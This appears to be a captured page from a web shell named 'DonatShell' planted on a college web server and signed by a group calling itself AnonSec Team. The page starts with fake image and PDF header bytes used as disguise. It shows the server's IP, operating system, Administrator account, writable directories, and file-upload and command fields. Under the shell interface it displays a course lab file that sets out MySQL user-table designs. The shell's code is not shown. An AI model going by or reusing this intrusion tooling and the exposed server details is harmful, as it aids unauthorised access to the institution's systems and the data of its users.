GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2146/_Archive/Labs/Lab03/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2146/_Archive/Labs/Lab03/Lab03.phpinc
<?
// JimMartinson/CST2146/Lab02.phpinc

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
include('application.phpinc');
include('Course/courseInfo.phpinc');
$evaluationTitle = "Design user table(s)";
$assignmentPoints = 10;
$assignmentPointsDeductLate = 2;
$assignmentWeekDue = 1;
include('../../classInfo.phpinc');
$title = $evaluationType." ".$evaluationNumber.": ".$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
include('common/pageHeader.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
include('common/sectionHeader.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(array("-"," "),"",username($userId)); } else { $userFullName = str_replace(array("-"," "),"",$_SESSION['userFullName']); $userId = $_SESSION['userId']; }
#printVar('$userFullName',$userFullName);
?>
<p>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend>
Create tables and fields to store user data for a website.
<ol>
	<li>Use MySQL Workbench to create a database named <b><?=strtolower($userFullName)?></b>.
	<br><a href="MySQL_Workbench_CreateDatabase.wrf">See an example of how to use MySQL Workbench to create a database</a>. (40 sec)</li>
	<li>Use MySQL Workbench and the following information to create the tables:
	<table class="pad2">
		<tr><th colspan="2">table: <b>user</b></th></tr>
		<tr><td>userId</td><td>INT(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY</td></tr>
		<tr><td>userUsername</td><td>VARCHAR(16) NOT NULL</td></tr>
		<tr><td>userPassword</td><td>VARCHAR(32) NOT NULL</td></tr>
		<tr><td>userInactive</td><td>TINYINT(1) unsigned NOT NULL DEFAULT 0</td></tr>
		<tr><td>userFirstname</td><td>VARCHAR(30) NOT NULL</td></tr>
		<tr><td>userMiddlename</td><td>VARCHAR(30)</td></tr>
		<tr><td>userLastname</td><td>VARCHAR(30)</td></tr>
		<tr><td>userEmail</td><td>VARCHAR(255)</td></tr>
		<tr><td>userImage</td><td>VARCHAR(128)</td></tr>
		<tr><td>userLastLogin</td><td>DATETIME</td></tr>
		<tr><td>userLoginCount</td><td>INT(10) unsigned</td></tr>
		<tr><td>addedBy</td><td>INT(10) unsigned</td></tr>
		<tr><td>addedOn</td><td>DATETIME</td></tr>
		<tr><td>modifiedBy</td><td>INT(10) unsigned</td></tr>
		<tr><td>modifiedOn</td><td>DATETIME</td></tr>
		<tr><td colspan="2"></td></tr>
		
		<tr><th colspan="2">table: <b>userdata</b></th></tr>
		<tr><td>userId</td><td>INT(10) unsigned NOT NULL FOREIGN KEY user.userId</td></tr>
		<tr><td>businessName</td><td>VARCHAR(60)</td></tr>
		<tr><td>userNickname</td><td>VARCHAR(30)</td></tr>
		<tr><td>userAddress1</td><td>VARCHAR(100)</td></tr>
		<tr><td>userAddress2</td><td>VARCHAR(32)</td></tr>
		<tr><td>userCity</td><td>VARCHAR(60)</td></tr>
		<tr><td>stateId</td><td>INT(10) unsigned FOREIGN KEY state.stateId</td></tr>
		<tr><td>userZipcode</td><td>VARCHAR(12)</td></tr>
		<tr><td>userSecurityQuestion</td><td>VARCHAR(128)</td></tr>
		<tr><td>userSecurityQuestionAnswer</td><td>VARCHAR(128)</td></tr>
		<tr><td colspan="2"></td></tr>
		
		<tr><th colspan="2">table: <b>userphonenumber</b></th></tr>
		<tr><td>userphonenumberId</td><td>INT(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY</td></tr>
		<tr><td>userphonenumberNumber</td><td>VARCHAR(15) NOT NULL</td></tr>
		<tr><td>userId</td><td>INT(10) unsigned NOT NULL FOREIGN KEY user.userId</td></tr>
		<tr><td>userphonenumbertypeId</td><td>INT(10) unsigned FOREIGN KEY userphonenumbertype.userphonenumbertypeId</td></tr>
		<tr><td>userphonenumberInactive</td><td>TINYINT(1) unsigned NOT NULL DEFAULT 0</td></tr>
		<tr><td>addedBy</td><td>INT(10) unsigned FOREIGN KEY user.userId</td></tr>
		<tr><td>addedOn</td><td>DATETIME</td></tr>
		<tr><td>modifiedBy</td><td>INT(10) unsigned FOREIGN KEY user.userId</td></tr>
		<tr><td>modifiedOn</td><td>DATETIME</td></tr>
		<tr><td colspan="2"></td></tr>
		
		<tr><th colspan="2">table: <b>userphonenumbertype</b></th></tr>
		<tr><td>userphonenumbertypeId</td><td>INT(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY</td></tr>
		<tr><td>userphonenumbertypeName</td><td>VARCHAR(4) NOT NULL</td></tr>
		<tr><td>userphonenumbertypeDescription</td><td>VARCHAR(128) NOT NULL</td></tr>
		<tr><td>userphonenumberInactive</td><td>TINYINT(1) unsigned NOT NULL DEFAULT 0</td></tr>
		<tr><td>addedBy</td><td>INT(10) unsigned FOREIGN KEY user.userId</td></tr>
		<tr><td>addedOn</td><td>DATETIME</td></tr>
		<tr><td>modifiedBy</td><td>INT(10) unsigned FOREIGN KEY user.userId</td></tr>
		<tr><td>modifiedOn</td><td>DATETIME</td></tr>
		<tr><td colspan="2"></td></tr>
		
		<tr><th colspan="2">table: <b>userp_group</b></th></tr>
		<tr><td>userId</td><td>INT(10) unsigned NOT NULL FOREIGN KEY user.userId</td></tr>
		<tr><td>groupId</td><td>INT(10) unsigned NOT NULL FOREIGN KEY group.groupId</td></tr>
		<tr><td>addedBy</td><td>INT(10) unsigned FOREIGN KEY user.userId</td></tr>
		<tr><td>addedOn</td><td>DATETIME</td></tr>
		<tr><td colspan="2"></td></tr>
		
		<tr><th colspan="2">table: <b>group</b></th></tr>
		<tr><td>groupId</td><td>INT(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY</td></tr>
		<tr><td>groupName</td><td>VARCHAR(10)</td></tr>
		<tr><td>groupDescription</td><td>VARCHAR(255)</td></tr>
		<tr><td>userphonetypeInactive</td><td>TINYINT(1) unsigned</td></tr>
		<tr><td>addedBy</td><td>INT(10) unsigned FOREIGN KEY user.userId</td></tr>
		<tr><td>addedOn</td><td>DATETIME</td></tr>
		<tr><td>modifiedBy</td><td>INT(10) unsigned FOREIGN KEY user.userId</td></tr>
		<tr><td>modifiedOn</td><td>DATETIME</td></tr>
		<tr><td colspan="2"></td></tr>

		<tr><th colspan="2">table: <b>country</b></th></tr>
		<tr><td>countryId</td><td>INT(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY</td></tr>
		<tr><td colspan="2"></td></tr>

		<tr><th colspan="2">table: <b>state</b></th></tr>
		<tr><td>stateId</td><td>INT(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY</td></tr>
		<tr><td>countryId</td><td>INT(10) unsigned FOREIGN KEY country.countryId</td></tr>
	</table>
	<a href="MySQL_Workbench_CreateTable.wrf">See an example of how to use MySQL Workbench to create a table</a>. (1 min 56 sec)
	<br><a href="CST2146_Lab03_CreateTablesShortcut.wrf">See how I used MySQL Workbench and a text editor to create the tables for <?=$evaluationType?> <?=$evaluationNumber?></a>. (20 min 15 sec)
	 This is a much quicker method than using the GUI for everything.
	 Note that this example uses different tables than this version ob Lab 3 may have.
	</li>
  </li>
	<li>Use MySQL Workbench to export the tables to the file: <b><?=$evaluationName?>.sql</b>.
	<br><a href="MySQL_Workbench_ExportTables.wrf">See an example of how to use MySQL Workbench to export tables</a>. (2 min 33 sec)</li>
  <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> - <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b class="nowrap"><?=$courseNumber?> - <?=$evaluationName?> Submission</b> and attach your <b><?=$evaluationName?>.sql</b> file.</li>
</ol>
</fieldset>

<?
if ( $assignmentPoints ) include('JimMartinson/GradingCriteria.phpinc');
include('../../ReferencesResources.phpinc');
include('common/sectionFooter.phpinc');
include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team